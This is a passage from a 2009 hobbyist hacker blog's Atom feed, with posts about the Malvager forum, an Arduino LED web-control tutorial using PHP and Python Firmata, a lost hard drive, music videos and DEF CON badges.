type='html'>I put a bad iptables command into it. It will be up and running soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8402256287152608?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8402256287152608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8402256287152608' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8402256287152608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8402256287152608'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/malvager-is-down-my-fault.html' title='Malvager is down, my fault'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-125772126656317760</id><published>2009-09-29T19:26:00.000-07:00</published><updated>2009-09-29T19:27:33.284-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hackforums.net'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='malvager'/><title type='text'>Omni has closed HF, malvager.com attempts to step up</title><content type='html'>Omni has closed hackforums.net, malvager.com is trying to fill that gap. So if you would like please join us at malvager.com.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-125772126656317760?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/125772126656317760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=125772126656317760' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/125772126656317760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/125772126656317760'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/09/omni-has-closed-hf-malvagercom-attempts.html' title='Omni has closed HF, malvager.com attempts to step up'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7966544071181496216</id><published>2009-09-27T12:15:00.001-07:00</published><updated>2009-09-27T12:30:56.284-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><category scheme='http://www.blogger.com/atom/ns#' term='remote'/><category scheme='http://www.blogger.com/atom/ns#' term='remote access'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Blinking an LED over the web, with python firmata, php, and apache.</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/2g7po-yuRrg&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/2g7po-yuRrg&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;This was done on a mac, however it should be the same or very similar on a linux system as well. Either way you need a webserver with php running, and an arduino conneceted via ftdi(usb probably) to your computer. You will also need to install the python firmata module, which is pretty straight forward, and you can get that here: http://github.com/lupeke/python-firmata.&lt;br /&gt;&lt;br /&gt;This is to show you how to make an led blink, using a web page you have coded, and an arduino. Why would I show you how to do something so insignificant? The idea, is that this would be a place to start, with any sort of, over the web arduino fun. There are a list of caveats at the end.&lt;br /&gt;&lt;br /&gt;Open the arduino program, then select File-&gt;Examples-&gt;Firmata-&gt;Standard Firmata. Then upload this to your board. If you have problems uploading, be sure you have the right board and serial port selected under tools. My cpanel.php file looked like this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;html&gt;&lt;br /&gt;&amp;lt;head&gt;&lt;br /&gt;&amp;lt;/head&gt;&lt;br /&gt;&amp;lt;body&gt;&lt;br /&gt;&amp;lt;form action="cpanel2.php" method="post"&gt;&lt;br /&gt;On &amp;lt;input type="radio" name="light" /&gt;Light&lt;br /&gt;&amp;lt;input type="submit" /&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$password = $_POST["password"];&lt;br /&gt;$light_on = $_POST["light"];&lt;br /&gt;if(isset($light_on)){&lt;br /&gt; $execute_light = `/Users/dustycarver/python/led2.py`;&lt;br /&gt;}&lt;br /&gt;?&gt;&amp;lt;/body&gt;&lt;br /&gt;&amp;lt;/html&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;$execute_light should equal the pathname to your python firmata file, and should be surrounded my backticks(`), not single quotes(').Your python file should look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#! /usr/bin/env python&lt;br /&gt;"""&lt;br /&gt;Simple LED blinking example using Python Firmata&lt;br /&gt;Copyright (C) 2008  laboratorio (info@laboratorio.us)&lt;br /&gt; &lt;br /&gt;This program is free software: you can redistribute it and/or modify&lt;br /&gt;it under the terms of the GNU General Public License as published by&lt;br /&gt;the Free Software Foundation, either version 3 of the License, or&lt;br /&gt;(at your option) any later version.&lt;br /&gt; &lt;br /&gt;This program is distributed in the hope that it will be useful,&lt;br /&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;GNU General Public License for more details.&lt;br /&gt; &lt;br /&gt;You should have received a copy of the GNU General Public License&lt;br /&gt;along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.&lt;br /&gt;"""&lt;br /&gt; &lt;br /&gt;from firmata import * &lt;br /&gt; &lt;br /&gt;a = Arduino('/dev/tty.usbserial-FTE4W74Q')&lt;br /&gt;a.pin_mode(13, firmata.OUTPUT)&lt;br /&gt;a.delay(2)&lt;br /&gt; &lt;br /&gt;a.digital_write(13, firmata.HIGH)&lt;br /&gt;a.delay(2)&lt;br /&gt;a.digital_write(13, firmata.LOW)&lt;br /&gt;a.delay(2)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;You can see I stole the code from the python firmata example, however I took out the loop so it would do only one sequence of blinks. Your "a =" line should have the address of your Arduino device.&lt;br /&gt;&lt;br /&gt;Caveats:&lt;br /&gt;Obviously this has limitations, it has to negotiate the connection with the arduino each time and that's a lot of overhead, so this is probably a good way to get started on something like turning your lights on at home before you get there, and less real time stuff. I am working on a mod_python deal, so that the connection is ever present and will submit that, if it ever becomes fruitful.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7966544071181496216?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7966544071181496216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7966544071181496216' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7966544071181496216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7966544071181496216'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/09/blinking-led-over-web-with-python.html' title='Blinking an LED over the web, with python firmata, php, and apache.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5955973586139432575</id><published>2009-09-27T10:18:00.000-07:00</published><updated>2009-09-27T10:21:42.406-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cheap'/><category scheme='http://www.blogger.com/atom/ns#' term='worried'/><category scheme='http://www.blogger.com/atom/ns#' term='terrabyte'/><category scheme='http://www.blogger.com/atom/ns#' term='lost data'/><category scheme='http://www.blogger.com/atom/ns#' term='harddrive adapter'/><title type='text'>Just lost a terrabyte drive</title><content type='html'>I just lost a terabyte drive because of a cheap, usb to ide/ide2.5/sata connector. In the past I have had good luck with these, but this one was extremely shoddily mad and a bad connection was made. You could smell the drive cooking. I was working on a robotic web interface when this happened. That will be delayed until I can figure out what all is lost, and how I will cope. I also lost all my iTunes purchased music and will let you know if they give me my music back.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5955973586139432575?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5955973586139432575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5955973586139432575' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5955973586139432575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5955973586139432575'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/09/just-lost-terrabyte-drive.html' title='Just lost a terrabyte drive'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1891402841142688102</id><published>2009-09-16T10:26:00.001-07:00</published><updated>2009-09-16T10:27:28.895-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bsdpunk'/><category scheme='http://www.blogger.com/atom/ns#' term='culture'/><category scheme='http://www.blogger.com/atom/ns#' term='birthday'/><category scheme='http://www.blogger.com/atom/ns#' term='malvager'/><title type='text'>It's my Birthday and the guys at Malvager made this for me</title><content type='html'>&lt;a href="http://bsday.pcriot.com/"&gt;http://bsday.pcriot.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1891402841142688102?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1891402841142688102/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1891402841142688102' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1891402841142688102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1891402841142688102'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/09/its-my-birthday-and-guys-at-malvager.html' title='It&apos;s my Birthday and the guys at Malvager made this for me'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1929296060989422999</id><published>2009-09-15T08:54:00.001-07:00</published><updated>2009-09-15T08:55:29.943-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><category scheme='http://www.blogger.com/atom/ns#' term='music'/><category scheme='http://www.blogger.com/atom/ns#' term='DIY Culture'/><category scheme='http://www.blogger.com/atom/ns#' term='youtube'/><title type='text'>DIY djsteveporter kanye west and jay z</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/w-mRkIIflK4&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/w-mRkIIflK4&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;I'm a big fan of dj Steve Porter and Jay Z....Man I love this shit.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1929296060989422999?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1929296060989422999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1929296060989422999' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1929296060989422999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1929296060989422999'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/09/diy-djsteveporter-kanye-west-and-jay-z.html' title='DIY djsteveporter kanye west and jay z'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4133103918905982948</id><published>2009-09-05T15:03:00.000-07:00</published><updated>2009-09-05T15:04:18.971-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='trip'/><category scheme='http://www.blogger.com/atom/ns#' term='8 bit'/><title type='text'>8 bit Trip Video</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/4qsWFFuYZYI&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/4qsWFFuYZYI&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4133103918905982948?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4133103918905982948/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4133103918905982948' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4133103918905982948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4133103918905982948'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/09/8-bit-trip-video.html' title='8 bit Trip Video'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3052713468508794759</id><published>2009-08-18T13:23:00.000-07:00</published><updated>2009-08-18T13:24:26.567-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mc lars'/><category scheme='http://www.blogger.com/atom/ns#' term='single and famous'/><category scheme='http://www.blogger.com/atom/ns#' term='KFLAY'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='youtube'/><title type='text'>Single and Famous, Kflay and MC Lars</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ZpEI8fdDDzc&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ZpEI8fdDDzc&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Yeah I think Lars is a douche.....that being said, he knows how to rock.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3052713468508794759?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3052713468508794759/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3052713468508794759' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3052713468508794759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3052713468508794759'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/08/single-and-famous-kflay-and-mc-lars.html' title='Single and Famous, Kflay and MC Lars'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8047791861218512391</id><published>2009-08-16T10:31:00.000-07:00</published><updated>2009-08-16T10:35:18.468-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='malvager'/><title type='text'>Malvager Lulz</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_POMszDp5NQM/SohDSP4MWGI/AAAAAAAAADw/DTGN5loVXaw/s1600-h/malvager.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 182px;" src="http://3.bp.blogspot.com/_POMszDp5NQM/SohDSP4MWGI/AAAAAAAAADw/DTGN5loVXaw/s320/malvager.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5370616536418244706" /&gt;&lt;/a&gt;&lt;br /&gt;More fan work for Malvager, This one from proxy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8047791861218512391?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8047791861218512391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8047791861218512391' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8047791861218512391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8047791861218512391'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/08/malvager-lulz.html' title='Malvager Lulz'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_POMszDp5NQM/SohDSP4MWGI/AAAAAAAAADw/DTGN5loVXaw/s72-c/malvager.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3194737890023833059</id><published>2009-08-12T17:40:00.000-07:00</published><updated>2009-08-12T17:44:49.859-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webcomics'/><category scheme='http://www.blogger.com/atom/ns#' term='Ray Kurzweil'/><category scheme='http://www.blogger.com/atom/ns#' term='blog'/><category scheme='http://www.blogger.com/atom/ns#' term='new blog'/><category scheme='http://www.blogger.com/atom/ns#' term='robots'/><category scheme='http://www.blogger.com/atom/ns#' term='fiction'/><category scheme='http://www.blogger.com/atom/ns#' term='dresden codak'/><category scheme='http://www.blogger.com/atom/ns#' term='fuckin fiction'/><category scheme='http://www.blogger.com/atom/ns#' term='writing'/><title type='text'>Updates on el blogo</title><content type='html'>I am going to try and have something fun an programmy out by the end of this weekend, don't know if that's possible. I am making some headway on my music, which is good. I started a fiction blog for my fiction writing at &lt;a href="http://wereboobs.com/fuckinfiction/"&gt;http://wereboobs.com/fuckinfiction/&lt;/a&gt;. So if you guys want to read my fiction you can do that.&lt;br /&gt;&lt;br /&gt;As a robotocist I have a new favorite comic, replacing erfworld...&lt;a href="http://dresdencodak.com/"&gt;Dresden Codak&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ray Kurzweil even gets a mention...damn.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3194737890023833059?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3194737890023833059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3194737890023833059' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3194737890023833059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3194737890023833059'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/08/updates-on-el-blogo.html' title='Updates on el blogo'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-790985406358629741</id><published>2009-08-07T12:50:00.000-07:00</published><updated>2009-08-08T08:40:39.799-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='badges'/><category scheme='http://www.blogger.com/atom/ns#' term='flickr'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><category scheme='http://www.blogger.com/atom/ns#' term='hardware hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='Awesomeness'/><title type='text'>Hardware Hacking Badges</title><content type='html'>&lt;a href="http://www.flickr.com/photos/bsdpunkblog/sets/72157621973388708/" title="Flava Flav 2 by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm3.static.flickr.com/2513/3799027250_f3452c38de.jpg" width="500" height="375" alt="Flava Flav 2" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I don't think they had the best design, but they had the most style, and two of my favorite new friends.&lt;br /&gt;My favorite because I met them the first night. Heise of &lt;a href="http://www.evilcouncil.org/"&gt;Evil Council Org&lt;/a&gt; Jason Bourne'd that som' bitch. And wrapped his hand in cloth and punched the glass out of the clock. &lt;a href="http://semicomplete.com/"&gt;Jordan&lt;/a&gt; was the co author of this flava-flav style hack, and his web residence is &lt;a href="http://semicomplete.com/"&gt;semicomplete.com&lt;/a&gt;. I noticed he has a lot of arp security stuff, which of course is close to my heart. Click the Pic for the whole flickr series.&lt;br /&gt;&lt;br /&gt;It seems that Heise's main residence is really his &lt;a href="http://www.evilcouncil.org/~jubei/blog"&gt;blog.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Btw there &lt;a href="http://www.flickr.com/photos/jordansissel/3790957647/"&gt;Finished picture is here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-790985406358629741?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/790985406358629741/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=790985406358629741' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/790985406358629741'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/790985406358629741'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/08/hardware-hacking-badges.html' title='Hardware Hacking Badges'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2513/3799027250_f3452c38de_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-703840596660437585</id><published>2009-08-07T12:39:00.000-07:00</published><updated>2009-08-07T12:50:26.020-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dcs'/><category scheme='http://www.blogger.com/atom/ns#' term='spaceageminds'/><category scheme='http://www.blogger.com/atom/ns#' term='industrial'/><category scheme='http://www.blogger.com/atom/ns#' term='grandma'/><category scheme='http://www.blogger.com/atom/ns#' term='debt collection'/><category scheme='http://www.blogger.com/atom/ns#' term='injury'/><category scheme='http://www.blogger.com/atom/ns#' term='cheesey music'/><category scheme='http://www.blogger.com/atom/ns#' term='electroclash'/><category scheme='http://www.blogger.com/atom/ns#' term='pain'/><title type='text'>How bsdpunk, and the blog are doing.</title><content type='html'>At defcon....I hurt myself. Bad. I twisted my ankle. I busted a knee. I hit my head on a...well I don't remember, it hurt though. Besides that I'm well....Oh wait, no I am not. I am seeing a GP regularly as well as a specialist. My grandmother who most of you know I live with, just had a mini-stroke. I am being unfairly treated by a Debt collection service agency, who continually offer impossible itinerary for deposits, and I don't mean like I don't have enough money I just mean I tell them when I get paid and there like, ok just have the money in our account the day before(ok not that extreme, but still not possible){There name is DCS btw, student loans of course}.  I Haven't programmed anything so I haven't put anything up but, looking at the stuff on &lt;a href="http://semicomplete.com"&gt;semicomplete.com&lt;/a&gt; makes me hopeful. Started righting less nerdcore more electroclashy/industrial music....it sounds awful so far.&lt;br /&gt;On the good side I met a few people at defcon. One was &lt;a href="http://www.spaceageminds.com"&gt;@spaceageminds&lt;/a&gt;, he will be selling computer systems soon so check him out. I also met a fellow I may be collaborating with on some music with, which is nice.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-703840596660437585?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/703840596660437585/comments/default' 